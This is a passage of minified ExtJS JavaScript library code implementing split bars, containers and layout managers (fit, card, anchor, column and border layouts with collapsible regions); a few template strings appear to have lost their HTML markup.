this.adapter.getElementSize(this); this.activeMinSize = this.getMinimumSize(); this.activeMaxSize = this.getMaximumSize(); var d = c - this.activeMinSize; var b = Math.max(this.activeMaxSize - c, 0); if (this.orientation == Ext.SplitBar.HORIZONTAL) { this.dd.resetConstraints(); this.dd.setXConstraint(this.placement == Ext.SplitBar.LEFT ? d : b, this.placement == Ext.SplitBar.LEFT ? b : d, this.tickSize); this.dd.setYConstraint(0, 0) } else { this.dd.resetConstraints(); this.dd.setXConstraint(0, 0); this.dd.setYConstraint(this.placement == Ext.SplitBar.TOP ? d : b, this.placement == Ext.SplitBar.TOP ? b : d, this.tickSize) } this.dragSpecs.startSize = c; this.dragSpecs.startPoint = [a, e]; Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd, a, e) }, onEndProxyDrag:function (c) { Ext.get(this.proxy).setDisplayed(false); var b = Ext.lib.Event.getXY(c); if (this.overlay) { Ext.destroy(this.overlay); delete this.overlay } var a; if (this.orientation == Ext.SplitBar.HORIZONTAL) { a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.LEFT ? b[0] - this.dragSpecs.startPoint[0] : this.dragSpecs.startPoint[0] - b[0]) } else { a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.TOP ? b[1] - this.dragSpecs.startPoint[1] : this.dragSpecs.startPoint[1] - b[1]) } a = Math.min(Math.max(a, this.activeMinSize), this.activeMaxSize); if (a != this.dragSpecs.startSize) { if (this.fireEvent("beforeapply", this, a) !== false) { this.adapter.setElementSize(this, a); this.fireEvent("moved", this, a); this.fireEvent("resize", this, a) } } }, getAdapter:function () { return this.adapter }, setAdapter:function (a) { this.adapter = a; this.adapter.init(this) }, getMinimumSize:function () { return this.minSize }, setMinimumSize:function (a) { this.minSize = a }, getMaximumSize:function () { return this.maxSize }, setMaximumSize:function (a) { this.maxSize = a }, setCurrentSize:function (b) { var a = this.animate; this.animate = false; this.adapter.setElementSize(this, b); this.animate = a }, destroy:function (a) { Ext.destroy(this.shim, Ext.get(this.proxy)); this.dd.unreg(); if (a) { this.el.remove() } this.purgeListeners() }}); Ext.SplitBar.createProxy = function (b) { var c = new Ext.Element(document.createElement("div")); document.body.appendChild(c.dom); c.unselectable(); var a = "x-splitbar-proxy"; c.addClass(a + " " + (b == Ext.SplitBar.HORIZONTAL ? a + "-h" : a + "-v")); return c.dom }; Ext.SplitBar.BasicLayoutAdapter = function () { }; Ext.SplitBar.BasicLayoutAdapter.prototype = {init:function (a) { }, getElementSize:function (a) { if (a.orientation == Ext.SplitBar.HORIZONTAL) { return a.resizingEl.getWidth() } else { return a.resizingEl.getHeight() } }, setElementSize:function (b, a, c) { if (b.orientation == Ext.SplitBar.HORIZONTAL) { if (!b.animate) { b.resizingEl.setWidth(a); if (c) { c(b, a) } } else { b.resizingEl.setWidth(a, true, 0.1, c, "easeOut") } } else { if (!b.animate) { b.resizingEl.setHeight(a); if (c) { c(b, a) } } else { b.resizingEl.setHeight(a, true, 0.1, c, "easeOut") } } }}; Ext.SplitBar.AbsoluteLayoutAdapter = function (a) { this.basic = new Ext.SplitBar.BasicLayoutAdapter(); this.container = Ext.get(a) }; Ext.SplitBar.AbsoluteLayoutAdapter.prototype = {init:function (a) { this.basic.init(a) }, getElementSize:function (a) { return this.basic.getElementSize(a) }, setElementSize:function (b, a, c) { this.basic.setElementSize(b, a, this.moveSplitter.createDelegate(this, [b])) }, moveSplitter:function (a) { var b = Ext.SplitBar; switch (a.placement) { case b.LEFT: a.el.setX(a.resizingEl.getRight()); break; case b.RIGHT: a.el.setStyle("right", (this.container.getWidth() - a.resizingEl.getLeft()) + "px"); break; case b.TOP: a.el.setY(a.resizingEl.getBottom()); break; case b.BOTTOM: a.el.setY(a.resizingEl.getTop() - a.el.getHeight()); break } }}; Ext.SplitBar.VERTICAL = 1; Ext.SplitBar.HORIZONTAL = 2; Ext.SplitBar.LEFT = 1; Ext.SplitBar.RIGHT = 2; Ext.SplitBar.TOP = 3; Ext.SplitBar.BOTTOM = 4; Ext.Container = Ext.extend(Ext.BoxComponent, {bufferResize:50, autoDestroy:true, forceLayout:false, defaultType:"panel", resizeEvent:"resize", bubbleEvents:["add", "remove"], initComponent:function () { Ext.Container.superclass.initComponent.call(this); this.addEvents("afterlayout", "beforeadd", "beforeremove", "add", "remove"); var a = this.items; if (a) { delete this.items; this.add(a) } }, initItems:function () { if (!this.items) { this.items = new Ext.util.MixedCollection(false, this.getComponentId); this.getLayout() } }, setLayout:function (a) { if (this.layout && this.layout != a) { this.layout.setContainer(null) } this.layout = a; this.initItems(); a.setContainer(this) }, afterRender:function () { Ext.Container.superclass.afterRender.call(this); if (!this.layout) { this.layout = "auto" } if (Ext.isObject(this.layout) && !this.layout.layout) { this.layoutConfig = this.layout; this.layout = this.layoutConfig.type } if (Ext.isString(this.layout)) { this.layout = new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig) } this.setLayout(this.layout); if (this.activeItem !== undefined && this.layout.setActiveItem) { var a = this.activeItem; delete this.activeItem; this.layout.setActiveItem(a) } if (!this.ownerCt) { this.doLayout(false, true) } if (this.monitorResize === true) { Ext.EventManager.onWindowResize(this.doLayout, this, [false]) } }, getLayoutTarget:function () { return this.el }, getComponentId:function (a) { return a.getItemId() }, add:function (b) { this.initItems(); var e = arguments.length > 1; if (e || Ext.isArray(b)) { var a = []; Ext.each(e ? arguments : b, function (h) { a.push(this.add(h)) }, this); return a } var g = this.lookupComponent(this.applyDefaults(b)); var d = this.items.length; if (this.fireEvent("beforeadd", this, g, d) !== false && this.onBeforeAdd(g) !== false) { this.items.add(g); g.onAdded(this, d); this.onAdd(g); this.fireEvent("add", this, g, d) } return g }, onAdd:function (a) { }, onAdded:function (a, b) { this.ownerCt = a; this.initRef(); this.cascade(function (d) { d.initRef() }); this.fireEvent("added", this, a, b) }, insert:function (e, b) { var d = arguments, h = d.length, a = [], g, j; this.initItems(); if (h > 2) { for (g = h - 1; g >= 1; --g) { a.push(this.insert(e, d[g])) } return a } j = this.lookupComponent(this.applyDefaults(b)); e = Math.min(e, this.items.length); if (this.fireEvent("beforeadd", this, j, e) !== false && this.onBeforeAdd(j) !== false) { if (j.ownerCt == this) { this.items.remove(j) } this.items.insert(e, j); j.onAdded(this, e); this.onAdd(j); this.fireEvent("add", this, j, e) } return j }, applyDefaults:function (b) { var a = this.defaults; if (a) { if (Ext.isFunction(a)) { a = a.call(this, b) } if (Ext.isString(b)) { b = Ext.ComponentMgr.get(b); Ext.apply(b, a) } else { if (!b.events) { Ext.applyIf(b.isAction ? b.initialConfig : b, a) } else { Ext.apply(b, a) } } } return b }, onBeforeAdd:function (a) { if (a.ownerCt) { a.ownerCt.remove(a, false) } if (this.hideBorders === true) { a.border = (a.border === true) } }, remove:function (a, b) { this.initItems(); var d = this.getComponent(a); if (d && this.fireEvent("beforeremove", this, d) !== false) { this.doRemove(d, b); this.fireEvent("remove", this, d) } return d }, onRemove:function (a) { }, doRemove:function (e, d) { var b = this.layout, a = b && this.rendered; if (a) { b.onRemove(e) } this.items.remove(e); e.onRemoved(); this.onRemove(e); if (d === true || (d !== false && this.autoDestroy)) { e.destroy() } if (a) { b.afterRemove(e) } }, removeAll:function (c) { this.initItems(); var e, g = [], b = []; this.items.each(function (h) { g.push(h) }); for (var d = 0, a = g.length; d < a; ++d) { e = g[d]; this.remove(e, c); if (e.ownerCt !== this) { b.push(e) } } return b }, getComponent:function (a) { if (Ext.isObject(a)) { a = a.getItemId() } return this.items.get(a) }, lookupComponent:function (a) { if (Ext.isString(a)) { return Ext.ComponentMgr.get(a) } else { if (!a.events) { return this.createComponent(a) } } return a }, createComponent:function (a, d) { if (a.render) { return a } var b = Ext.create(Ext.apply({ownerCt:this}, a), d || this.defaultType); delete b.initialConfig.ownerCt; delete b.ownerCt; return b }, canLayout:function () { var a = this.getVisibilityEl(); return a && a.dom && !a.isStyle("display", "none") }, doLayout:function (g, e) { var k = this.rendered, j = e || this.forceLayout; if (this.collapsed || !this.canLayout()) { this.deferLayout = this.deferLayout || !g; if (!j) { return } g = g && !this.deferLayout } else { delete this.deferLayout } if (k && this.layout) { this.layout.layout() } if (g !== true && this.items) { var d = this.items.items; for (var b = 0, a = d.length; b < a; b++) { var h = d[b]; if (h.doLayout) { h.doLayout(false, j) } } } if (k) { this.onLayout(g, j) } this.hasLayout = true; delete this.forceLayout }, onLayout:Ext.emptyFn, shouldBufferLayout:function () { var a = this.hasLayout; if (this.ownerCt) { return a ? !this.hasLayoutPending() : false } return a }, hasLayoutPending:function () { var a = false; this.ownerCt.bubble(function (b) { if (b.layoutPending) { a = true; return false } }); return a }, onShow:function () { Ext.Container.superclass.onShow.call(this); if (Ext.isDefined(this.deferLayout)) { delete this.deferLayout; this.doLayout(true) } }, getLayout:function () { if (!this.layout) { var a = new Ext.layout.AutoLayout(this.layoutConfig); this.setLayout(a) } return this.layout }, beforeDestroy:function () { var a; if (this.items) { while (a = this.items.first()) { this.doRemove(a, true) } } if (this.monitorResize) { Ext.EventManager.removeResizeListener(this.doLayout, this) } Ext.destroy(this.layout); Ext.Container.superclass.beforeDestroy.call(this) }, cascade:function (g, e, b) { if (g.apply(e || this, b || [this]) !== false) { if (this.items) { var d = this.items.items; for (var c = 0, a = d.length; c < a; c++) { if (d[c].cascade) { d[c].cascade(g, e, b) } else { g.apply(e || d[c], b || [d[c]]) } } } } return this }, findById:function (c) { var a = null, b = this; this.cascade(function (d) { if (b != d && d.id === c) { a = d; return false } }); return a }, findByType:function (b, a) { return this.findBy(function (d) { return d.isXType(b, a) }) }, find:function (b, a) { return this.findBy(function (d) { return d[b] === a }) }, findBy:function (d, c) { var a = [], b = this; this.cascade(function (e) { if (b != e && d.call(c || e, e, b) === true) { a.push(e) } }); return a }, get:function (a) { return this.getComponent(a) }}); Ext.Container.LAYOUTS = {}; Ext.reg("container", Ext.Container); Ext.layout.ContainerLayout = Ext.extend(Object, {monitorResize:false, activeItem:null, constructor:function (a) { this.id = Ext.id(null, "ext-layout-"); Ext.apply(this, a) }, type:"container", IEMeasureHack:function (k, g) { var a = k.dom.childNodes, b = a.length, n, m = [], l, h, j; for (h = 0; h < b; h++) { n = a[h]; l = Ext.get(n); if (l) { m[h] = l.getStyle("display"); l.setStyle({display:"none"}) } } j = k ? k.getViewSize(g) : {}; for (h = 0; h < b; h++) { n = a[h]; l = Ext.get(n); if (l) { l.setStyle({display:m[h]}) } } return j }, getLayoutTargetSize:Ext.EmptyFn, layout:function () { var a = this.container, b = a.getLayoutTarget(); if (!(this.hasLayout || Ext.isEmpty(this.targetCls))) { b.addClass(this.targetCls) } this.onLayout(a, b); a.fireEvent("afterlayout", a, this) }, onLayout:function (a, b) { this.renderAll(a, b) }, isValidParent:function (b, a) { return a && b.getPositionEl().dom.parentNode == (a.dom || a) }, renderAll:function (e, g) { var b = e.items.items, d, h, a = b.length; for (d = 0; d < a; d++) { h = b[d]; if (h && (!h.rendered || !this.isValidParent(h, g))) { this.renderItem(h, d, g) } } }, renderItem:function (d, a, b) { if (d) { if (!d.rendered) { d.render(b, a); this.configureItem(d) } else { if (!this.isValidParent(d, b)) { if (Ext.isNumber(a)) { a = b.dom.childNodes[a] } b.dom.insertBefore(d.getPositionEl().dom, a || null); d.container = b; this.configureItem(d) } } } }, getRenderedItems:function (g) { var e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = []; for (d = 0; d < a; d++) { if ((j = h[d]).rendered && this.isValidParent(j, e) && j.shouldLayout !== false) { b.push(j) } } return b }, configureItem:function (b) { if (this.extraCls) { var a = b.getPositionEl ? b.getPositionEl() : b; a.addClass(this.extraCls) } if (b.doLayout && this.forceLayout) { b.doLayout() } if (this.renderHidden && b != this.activeItem) { b.hide() } }, onRemove:function (b) { if (this.activeItem == b) { delete this.activeItem } if (b.rendered && this.extraCls) { var a = b.getPositionEl ? b.getPositionEl() : b; a.removeClass(this.extraCls) } }, afterRemove:function (a) { if (a.removeRestore) { a.removeMode = "container"; delete a.removeRestore } }, onResize:function () { var c = this.container, a; if (c.collapsed) { return } if (a = c.bufferResize && c.shouldBufferLayout()) { if (!this.resizeTask) { this.resizeTask = new Ext.util.DelayedTask(this.runLayout, this); this.resizeBuffer = Ext.isNumber(a) ? a : 50 } c.layoutPending = true; this.resizeTask.delay(this.resizeBuffer) } else { this.runLayout() } }, runLayout:function () { var a = this.container; this.layout(); a.onLayout(); delete a.layoutPending }, setContainer:function (b) { if (this.monitorResize && b != this.container) { var a = this.container; if (a) { a.un(a.resizeEvent, this.onResize, this) } if (b) { b.on(b.resizeEvent, this.onResize, this) } } this.container = b }, parseMargins:function (b) { if (Ext.isNumber(b)) { b = b.toString() } var c = b.split(" "), a = c.length; if (a == 1) { c[1] = c[2] = c[3] = c[0] } else { if (a == 2) { c[2] = c[0]; c[3] = c[1] } else { if (a == 3) { c[3] = c[1] } } } return{top:parseInt(c[0], 10) || 0, right:parseInt(c[1], 10) || 0, bottom:parseInt(c[2], 10) || 0, left:parseInt(c[3], 10) || 0} }, fieldTpl:(function () { var a = new Ext.Template('
', '', '
', '
', "
"); a.disableFormats = true; return a.compile() })(), destroy:function () { if (this.resizeTask && this.resizeTask.cancel) { this.resizeTask.cancel() } if (this.container) { this.container.un(this.container.resizeEvent, this.onResize, this) } if (!Ext.isEmpty(this.targetCls)) { var a = this.container.getLayoutTarget(); if (a) { a.removeClass(this.targetCls) } } }}); Ext.layout.AutoLayout = Ext.extend(Ext.layout.ContainerLayout, {type:"auto", monitorResize:true, onLayout:function (d, g) { Ext.layout.AutoLayout.superclass.onLayout.call(this, d, g); var e = this.getRenderedItems(d), a = e.length, b, h; for (b = 0; b < a; b++) { h = e[b]; if (h.doLayout) { h.doLayout(true) } } }}); Ext.Container.LAYOUTS.auto = Ext.layout.AutoLayout; Ext.layout.FitLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"fit", getLayoutTargetSize:function () { var a = this.container.getLayoutTarget(); if (!a) { return{} } return a.getStyleSize() }, onLayout:function (a, b) { Ext.layout.FitLayout.superclass.onLayout.call(this, a, b); if (!a.collapsed) { this.setItemSize(this.activeItem || a.items.itemAt(0), this.getLayoutTargetSize()) } }, setItemSize:function (b, a) { if (b && a.height > 0) { b.setSize(a) } }}); Ext.Container.LAYOUTS.fit = Ext.layout.FitLayout; Ext.layout.CardLayout = Ext.extend(Ext.layout.FitLayout, {deferredRender:false, layoutOnCardChange:false, renderHidden:true, type:"card", setActiveItem:function (d) { var a = this.activeItem, b = this.container; d = b.getComponent(d); if (d && a != d) { if (a) { a.hide(); if (a.hidden !== true) { return false } a.fireEvent("deactivate", a) } var c = d.doLayout && (this.layoutOnCardChange || !d.rendered); this.activeItem = d; delete d.deferLayout; d.show(); this.layout(); if (c) { d.doLayout() } d.fireEvent("activate", d) } }, renderAll:function (a, b) { if (this.deferredRender) { this.renderItem(this.activeItem, undefined, b) } else { Ext.layout.CardLayout.superclass.renderAll.call(this, a, b) } }}); Ext.Container.LAYOUTS.card = Ext.layout.CardLayout; Ext.layout.AnchorLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"anchor", defaultAnchor:"100%", parseAnchorRE:/^(r|right|b|bottom)$/i, getLayoutTargetSize:function () { var b = this.container.getLayoutTarget(), a = {}; if (b) { a = b.getViewSize(); if (Ext.isIE && Ext.isStrict && a.width == 0) { a = b.getStyleSize() } a.width -= b.getPadding("lr"); a.height -= b.getPadding("tb") } return a }, onLayout:function (m, w) { Ext.layout.AnchorLayout.superclass.onLayout.call(this, m, w); var p = this.getLayoutTargetSize(), k = p.width, o = p.height, q = w.getStyle("overflow"), n = this.getRenderedItems(m), t = n.length, g = [], j, a, v, l, h, c, e, d, u = 0, s, b; if (k < 20 && o < 20) { return } if (m.anchorSize) { if (typeof m.anchorSize == "number") { a = m.anchorSize } else { a = m.anchorSize.width; v = m.anchorSize.height } } else { a = m.initialConfig.width; v = m.initialConfig.height } for (s = 0; s < t; s++) { l = n[s]; b = l.getPositionEl(); if (!l.anchor && l.items && !Ext.isNumber(l.width) && !(Ext.isIE6 && Ext.isStrict)) { l.anchor = this.defaultAnchor } if (l.anchor) { h = l.anchorSpec; if (!h) { d = l.anchor.split(" "); l.anchorSpec = h = {right:this.parseAnchor(d[0], l.initialConfig.width, a), bottom:this.parseAnchor(d[1], l.initialConfig.height, v)} } c = h.right ? this.adjustWidthAnchor(h.right(k) - b.getMargins("lr"), l) : undefined; e = h.bottom ? this.adjustHeightAnchor(h.bottom(o) - b.getMargins("tb"), l) : undefined; if (c || e) { g.push({component:l, width:c || undefined, height:e || undefined}) } } } for (s = 0, t = g.length; s < t; s++) { j = g[s]; j.component.setSize(j.width, j.height) } if (q && q != "hidden" && !this.adjustmentPass) { var r = this.getLayoutTargetSize(); if (r.width != p.width || r.height != p.height) { this.adjustmentPass = true; this.onLayout(m, w) } } delete this.adjustmentPass }, parseAnchor:function (c, h, b) { if (c && c != "none") { var e; if (this.parseAnchorRE.test(c)) { var g = b - h; return function (a) { if (a !== e) { e = a; return a - g } } } else { if (c.indexOf("%") != -1) { var d = parseFloat(c.replace("%", "")) * 0.01; return function (a) { if (a !== e) { e = a; return Math.floor(a * d) } } } else { c = parseInt(c, 10); if (!isNaN(c)) { return function (a) { if (a !== e) { e = a; return a + c } } } } } } return false }, adjustWidthAnchor:function (b, a) { return b }, adjustHeightAnchor:function (b, a) { return b }}); Ext.Container.LAYOUTS.anchor = Ext.layout.AnchorLayout; Ext.layout.ColumnLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"column", extraCls:"x-column", scrollOffset:0, targetCls:"x-column-layout-ct", isValidParent:function (b, a) { return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom }, getLayoutTargetSize:function () { var b = this.container.getLayoutTarget(), a; if (b) { a = b.getViewSize(); if (Ext.isIE && Ext.isStrict && a.width == 0) { a = b.getStyleSize() } a.width -= b.getPadding("lr"); a.height -= b.getPadding("tb") } return a }, renderAll:function (a, b) { if (!this.innerCt) { this.innerCt = b.createChild({cls:"x-column-inner"}); this.innerCt.createChild({cls:"x-clear"}) } Ext.layout.ColumnLayout.superclass.renderAll.call(this, a, this.innerCt) }, onLayout:function (e, k) { var g = e.items.items, j = g.length, n, b, a, o = []; this.renderAll(e, k); var r = this.getLayoutTargetSize(); if (r.width < 1 && r.height < 1) { return } var p = r.width - this.scrollOffset, d = r.height, q = p; this.innerCt.setWidth(p); for (b = 0; b < j; b++) { n = g[b]; a = n.getPositionEl().getMargins("lr"); o[b] = a; if (!n.columnWidth) { q -= (n.getWidth() + a) } } q = q < 0 ? 0 : q; for (b = 0; b < j; b++) { n = g[b]; a = o[b]; if (n.columnWidth) { n.setSize(Math.floor(n.columnWidth * q) - a) } } if (Ext.isIE) { if (b = k.getStyle("overflow") && b != "hidden" && !this.adjustmentPass) { var l = this.getLayoutTargetSize(); if (l.width != r.width) { this.adjustmentPass = true; this.onLayout(e, k) } } } delete this.adjustmentPass }}); Ext.Container.LAYOUTS.column = Ext.layout.ColumnLayout; Ext.layout.BorderLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, rendered:false, type:"border", targetCls:"x-border-layout-ct", getLayoutTargetSize:function () { var a = this.container.getLayoutTarget(); return a ? a.getViewSize() : {} }, onLayout:function (g, I) { var j, B, F, o, x = g.items.items, C = x.length; if (!this.rendered) { j = []; for (B = 0; B < C; B++) { F = x[B]; o = F.region; if (F.collapsed) { j.push(F) } F.collapsed = false; if (!F.rendered) { F.render(I, B); F.getPositionEl().addClass("x-border-panel") } this[o] = o != "center" && F.split ? new Ext.layout.BorderLayout.SplitRegion(this, F.initialConfig, o) : new Ext.layout.BorderLayout.Region(this, F.initialConfig, o); this[o].render(I, F) } this.rendered = true } var v = this.getLayoutTargetSize(); if (v.width < 20 || v.height < 20) { if (j) { this.restoreCollapsed = j } return } else { if (this.restoreCollapsed) { j = this.restoreCollapsed; delete this.restoreCollapsed } } var t = v.width, D = v.height, r = t, A = D, p = 0, q = 0, y = this.north, u = this.south, l = this.west, E = this.east, F = this.center, H, z, d, G; if (!F && Ext.layout.BorderLayout.WARN !== false) { throw"No center region defined in BorderLayout " + g.id } if (y && y.isVisible()) { H = y.getSize(); z = y.getMargins(); H.width = t - (z.left + z.right); H.x = z.left; H.y = z.top; p = H.height + H.y + z.bottom; A -= p; y.applyLayout(H) } if (u && u.isVisible()) { H = u.getSize(); z = u.getMargins(); H.width = t - (z.left + z.right); H.x = z.left; G = (H.height + z.top + z.bottom); H.y = D - G + z.top; A -= G; u.applyLayout(H) } if (l && l.isVisible()) { H = l.getSize(); z = l.getMargins(); H.height = A - (z.top + z.bottom); H.x = z.left; H.y = p + z.top; d = (H.width + z.left + z.right); q += d; r -= d; l.applyLayout(H) } if (E && E.isVisible()) { H = E.getSize(); z = E.getMargins(); H.height = A - (z.top + z.bottom); d = (H.width + z.left + z.right); H.x = t - d + z.left; H.y = p + z.top; r -= d; E.applyLayout(H) } if (F) { z = F.getMargins(); var k = {x:q + z.left, y:p + z.top, width:r - (z.left + z.right), height:A - (z.top + z.bottom)}; F.applyLayout(k) } if (j) { for (B = 0, C = j.length; B < C; B++) { j[B].collapse(false) } } if (Ext.isIE && Ext.isStrict) { I.repaint() } if (B = I.getStyle("overflow") && B != "hidden" && !this.adjustmentPass) { var a = this.getLayoutTargetSize(); if (a.width != v.width || a.height != v.height) { this.adjustmentPass = true; this.onLayout(g, I) } } delete this.adjustmentPass }, destroy:function () { var b = ["north", "south", "east", "west"], a, c; for (a = 0; a < b.length; a++) { c = this[b[a]]; if (c) { if (c.destroy) { c.destroy() } else { if (c.split) { c.split.destroy(true) } } } } Ext.layout.BorderLayout.superclass.destroy.call(this) }}); Ext.layout.BorderLayout.Region = function (b, a, c) { Ext.apply(this, a); this.layout = b; this.position = c; this.state = {}; if (typeof this.margins == "string") { this.margins = this.layout.parseMargins(this.margins) } this.margins = Ext.applyIf(this.margins || {}, this.defaultMargins); if (this.collapsible) { if (typeof this.cmargins == "string") { this.cmargins = this.layout.parseMargins(this.cmargins) } if (this.collapseMode == "mini" && !this.cmargins) { this.cmargins = {left:0, top:0, right:0, bottom:0} } else { this.cmargins = Ext.applyIf(this.cmargins || {}, c == "north" || c == "south" ? this.defaultNSCMargins : this.defaultEWCMargins) } } }; Ext.layout.BorderLayout.Region.prototype = {collapsible:false, split:false, floatable:true, minWidth:50, minHeight:50, defaultMargins:{left:0, top:0, right:0, bottom:0}, defaultNSCMargins:{left:5, top:5, right:5, bottom:5}, defaultEWCMargins:{left:5, top:0, right:5, bottom:0}, floatingZIndex:100, isCollapsed:false, render:function (b, c) { this.panel = c; c.el.enableDisplayMode(); this.targetEl = b; this.el = c.el; var a = c.getState, d = this.position; c.getState = function () { return Ext.apply(a.call(c) || {}, this.state) }.createDelegate(this); if (d != "center") { c.allowQueuedExpand = false; c.on({beforecollapse:this.beforeCollapse, collapse:this.onCollapse, beforeexpand:this.beforeExpand, expand:this.onExpand, hide:this.onHide, show:this.onShow, scope:this}); if (this.collapsible || this.floatable) { c.collapseEl = "el"; c.slideAnchor = this.getSlideAnchor() } if (c.tools && c.tools.toggle) { c.tools.toggle.addClass("x-tool-collapse-" + d); c.tools.toggle.addClassOnOver("x-tool-collapse-" + d + "-over") } } }, getCollapsedEl:function () { if (!this.collapsedEl) { if (!this.toolTemplate) { var b = new Ext.Template('
 
'); b.disableFormats = true; b.compile(); Ext.layout.BorderLayout.Region.prototype.toolTemplate = b } this.collapsedEl = this.targetEl.createChild({cls:"x-layout-collapsed x-layout-collapsed-" + this.position, id:this.panel.id + "-xcollapsed"}); this.collapsedEl.enableDisplayMode("block"); if (this.collapseMode == "mini") { this.collapsedEl.addClass("x-layout-cmini-" + this.position); this.miniCollapsedEl = this.collapsedEl.createChild({cls:"x-layout-mini x-layout-mini-" + this.position, html:" "}); this.miniCollapsedEl.addClassOnOver("x-layout-mini-over"); this.collapsedEl.addClassOnOver("x-layout-collapsed-over"); this.collapsedEl.on("click", this.onExpandClick, this, {stopEvent:true}) } else { if (this.collapsible !== false && !this.hideCollapseTool) { var a = this.expandToolEl = this.toolTemplate.append(this.collapsedEl.dom, {id:"expand-" + this.position}, true); a.addClassOnOver("x-tool-expand-" + this.position + "-over"); a.on("click", this.onExpandClick, this, {stopEvent:true}) } if (this.floatable !== false || this.titleCollapse) { this.collapsedEl.addClassOnOver("x-layout-collapsed-over"); this.collapsedEl.on("click", this[this.floatable ? "collapseClick" : "onExpandClick"], this) } } } return this.collapsedEl }, onExpandClick:function (a) { if (this.isSlid) { this.panel.expand(false) } else { this.panel.expand() } }, onCollapseClick:function (a) { this.panel.collapse() }, beforeCollapse:function (c, a) { this.lastAnim = a; if (this.splitEl) { this.splitEl.hide() } this.getCollapsedEl().show(); var b = this.panel.getEl(); this.originalZIndex = b.getStyle("z-index"); b.setStyle("z-index", 100); this.isCollapsed = true; this.layout.layout() }, onCollapse:function (a) { this.panel.el.setStyle("z-index", 1); if (this.lastAnim === false || this.panel.animCollapse === false) { this.getCollapsedEl().dom.style.visibility = "visible" } else { this.getCollapsedEl().slideIn(this.panel.slideAnchor, {duration:0.2}) } this.state.collapsed = true; this.panel.saveState() }, beforeExpand:function (a) { if (this.isSlid) { this.afterSlideIn() } var b = this.getCollapsedEl(); this.el.show(); if (this.position == "east" || this.position == "west") { this.panel.setSize(undefined, b.getHeight()) } else { this.panel.setSize(b.getWidth(), undefined) } b.hide(); b.dom.style.visibility = "hidden"; this.panel.el.setStyle("z-index", this.floatingZIndex) }, onExpand:function () { this.isCollapsed = false; if (this.splitEl) { this.splitEl.show() } this.layout.layout(); this.panel.el.setStyle("z-index", this.originalZIndex); this.state.collapsed = false; this.panel.saveState() }, collapseClick:function (a) { if (this.isSlid) { a.stopPropagation(); this.slideIn() } else { a.stopPropagation(); this.slideOut() } }, onHide:function () { if (this.isCollapsed) { this.getCollapsedEl().hide() } else { if (this.splitEl) { this.splitEl.hide() } } }, onShow:function () { if (this.isCollapsed) { this.getCollapsedEl().show() } else { if (this.splitEl) { this.splitEl.show() } } }, isVisible:function () { return !this.panel.hidden }, getMargins:function () { return this.isCollapsed && this.cmargins ? this.cmargins : this.margins }, getSize:function () { return this.isCollapsed ? this.getCollapsedEl().getSize() : this.panel.getSize() }, setPanel:function (a) { this.panel = a }, getMinWidth:function () { return this.minWidth }, getMinHeight:function () { return this.minHeight }, applyLayoutCollapsed:function (a) { var b = this.getCollapsedEl(); b.setLeftTop(a.x, a.y); b.setSize(a.width, a.height) }, applyLayout:function (a) { if (this.isCollapsed) { this.applyLayoutCollapsed(a) } else { this.panel.setPosition(a.x, a.y); this.panel.setSize(a.width, a.height) } }, beforeSlide:function () { this.panel.beforeEffect() }, afterSlide:function () { this.panel.afterEffect() }, initAutoHide:function () { if (this.autoHide !== false) { if (!this.autoHideHd) { this.autoHideSlideTask = new Ext.util.DelayedTask(this.slideIn, this); this.autoHideHd = {mouseout:function (a) { if (!a.within(this.el, true)) { this.autoHideSlideTask.delay(500) } }, mouseover:function (a) { this.autoHideSlideTask.cancel() }, scope:this} } this.el.on(this.autoHideHd); this.collapsedEl.on(this.autoHideHd) } }, clearAutoHide:function () { if (this.autoHide !== false) { this.el.un("mouseout", this.autoHideHd.mouseout); this.el.un("mouseover", this.autoHideHd.mouseover); this.collapsedEl.un("mouseout", this.autoHideHd.mouseout); this.collapsedEl.un("mouseover", this.autoHideHd.mouseover) } }, clearMonitor:function () { Ext.getDoc().un("click", this.slideInIf, this) }, slideOut:function () { if (this.isSlid || this.el.hasActiveFx()) { return } this.isSlid = true; var b = this.panel.tools, c, a; if (b && b.toggle) { b.toggle.hide() } this.el.show(); a = this.panel.collapsed; this.panel.collapsed = false; if (this.position == "east" || this.position == "west") { c = this.panel.deferHeight; this.panel.deferHeight = false; this.panel.setSize(undefined, this.collapsedEl.getHeight()); this.panel.deferHeight = c } else { this.panel.setSize(this.collapsedEl.getWidth(), undefined) } this.panel.collapsed = a; this.restoreLT = [this.el.dom.style.left, this.el.dom.style.top]; this.el.alignTo(this.collapsedEl, this.getCollapseAnchor()); this.el.setStyle("z-index", this.floatingZIndex + 2); this.panel.el.replaceClass("x-panel-collapsed", "x-panel-floating"); if (this.animFloat !== false) { this.beforeSlide(); this.el.slideIn(this.getSlideAnchor(), {callback:function () { this.afterSlide(); this.initAutoHide(); Ext.getDoc().on("click", this.slideInIf, this) }, scope:this, block:true}) } else { this.initAutoHide(); Ext.getDoc().on("click", this.slideInIf, this) } }, afterSlideIn:function () { this.clearAutoHide(); this.isSlid = false; this.clearMonitor(); this.el.setStyle("z-index", ""); this.panel.el.replaceClass("x-panel-floating", "x-panel-collapsed"); this.el.dom.style.left = this.restoreLT[0]; this.el.dom.style.top = this.restoreLT[1]; var a = this.panel.tools; if (a && a.toggle) { a.toggle.show() } }, slideIn:function (a) { if (!this.isSlid || this.el.hasActiveFx()) { Ext.callback(a); return } this.isSlid = false; if (this.animFloat !== false) { this.beforeSlide(); this.el.slideOut(this.getSlideAnchor(), {callback:function () { this.el.hide(); this.afterSlide(); this.afterSlideIn(); Ext.callback(a) }, scope:this, block:true}) } else { this.el.hide(); this.afterSlideIn() } }, slideInIf:function (a) { if (!a.within(this.el)) { this.slideIn() } }, anchors:{west:"left", east:"right", north:"top", south:"bottom"}, sanchors:{west:"l", east:"r", north:"t", south:"b"}, canchors:{west:"tl-tr", east:"tr-tl", north:"tl-bl", south:"bl-tl"}, getAnchor:function () { return this.anchors[this.position] }, getCollapseAnchor:function () { return this.canchors[this.position] }, getSlideAnchor:function () { return this.sanchors[this.position] }, getAlignAdj:function () { var a = this.cmargins; switch (this.position) { case"west": return[0, 